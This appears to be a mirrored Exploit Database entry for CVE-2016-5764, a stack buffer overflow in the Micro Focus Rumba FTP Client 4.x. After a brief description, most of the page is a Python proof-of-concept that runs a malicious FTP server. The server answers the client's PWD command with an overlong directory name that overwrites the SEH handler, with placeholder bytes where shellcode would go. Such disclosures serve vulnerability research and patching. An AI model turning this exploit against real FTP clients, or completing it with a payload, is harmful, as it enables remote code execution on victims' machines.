Rumba FTP Client 4.x – Remote Stack Buffer Overflow (SEH)

• Exploit Database
• 114 阅读

• 作者： Umit Aksu
  日期： 2016-10-31
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40651/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137

  # Exploit Title: Rumba FTP 4.x Client Stackoverflow SEH # Date: 29-10-2016 # Exploit Author: Umit Aksu # Vendor Homepage: http://community.microfocus.com/microfocus/mainframe_solutions/rumba/w/knowledge_base/28731.rumba-ftp-4-x-security-update.aspx # Software Link: http://nadownloads.microfocus.com/epd/product_download_request.aspx?type=eval&transid=2179441&last4=2179441&code=40307 # Version: 4.x # Tested on: Windows 7 # CVE : CVE-2016-5764     1.Description   Micro Focus Rumba FTP Client 4.x cannt handle long directory names. An attacker can setup a malicious FTP server that can send a long directory name which can led to remote code execution on connected client.   2. Proof of Concept   The code below can be used to setup a malicious FTP server that will send a long directory name and overwrite the stack. The PoC only overwrites the SEH + NSEH.     3. PoC Code     ------------------- Server.py --------------------------     import socket import sys import time   # IP Address IP = '127.0.0.1' \ '' # Create a TCP/IP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   # Bind the socket to the port server_address = (IP,21) print "Starting up on %s port %s" % server_address sock.bind(server_address)   # Listen for incoming connections sock.listen(1)   # Wait for incoming connection while True: print "Waiting for a connection" connection, client_address = sock.accept()   try: print "Connection from " + str(client_address) # Receive the data in small chunks and restransmit it connection.send("220 Welcome\r\n")   while(True): data = connection.recv(16) print "received %s" % data if "USER" in data: print "Sending 331" connection.send("331 Please specify the password.\r\n") if "PASS" in data: print "Sending 227" connection.send("230 Login successful.\n\n") if "PWD" in data: print "Sending 257"   # 77A632E2 add esp,908 pop pop pop ret # THIS IS THE PART WHERE THE OVERFLOW HAPPENS connection.send("257 \"/"+"A"*629+"\x45\x45\x45\x45"+ "\x44\x44\x44\x44" + "D"*185 + "rrrr" + "D"*211 + "\"\r\n") if "TYPE A" in data: print "Sending 200 Switching to ASCII mode." connection.send("200 Switching to ASCII mode.\r\n") if "TYPE I" in data: print "Sending 200 Switching to Binary mode." connection.send("200 200 Switching to Binary mode.\r\n") if "SYST" in data: print "Sending 215" connection.send("215 UNIX Type: L8\r\n")   if "SIZE" in data: print "Sending 200" connection.send("200 Switching to Binary mode. \r\n")   if "FEAT" in data: print "Sending 211-Features" connection.send("211-Features:\r\n EPRT\r\n EPSV\r\n MDTM\r\n PASV\r\n REST STREAM\r\n SIZE\r\n TVFS\r\n211 End\r\n") if "CWD" in data: print "Sending 250 Directory successfully changed." connection.send("250 Directory successfully changed.\r\n")   if "PASV" in str(data): print "Sending 227 Entering Passive Mode (130,161,45,252,111,183)\n\n" connection.send("227 Entering Passive Mode (130,161,45,252,111,183)\n\n")   # Listen on new socket for connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Socket created'   #Bind socket to local host and port try: s.bind((IP, 28599)) except socket.error as msg: print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit()   print 'Socket bind complete for PASV on port 28599'   #Start listening on socket s.listen(10) print 'Socket now listening on 28599'   #now keep talking with the client   #wait to accept a connection - blocking call conn, addr = s.accept() print 'Connected with ' + addr[0] + ':' + str(addr[1]) time.sleep(1) print "Sending dir list" connection.send("150 Here comes the directory listing.\r\n") conn.send("d"*500+"rwx------2 5005004096 Nov 052007 " + "A." + "B"*500 +"\r\n")   # Send ok to ftp client connection.send("226 Directory send OK.\r\n")   # close the connection s.close() conn.close() break   if "EXIT" in str(data): print "REC" connection.send("Have a nice day!\r\n") break finally: connection.close()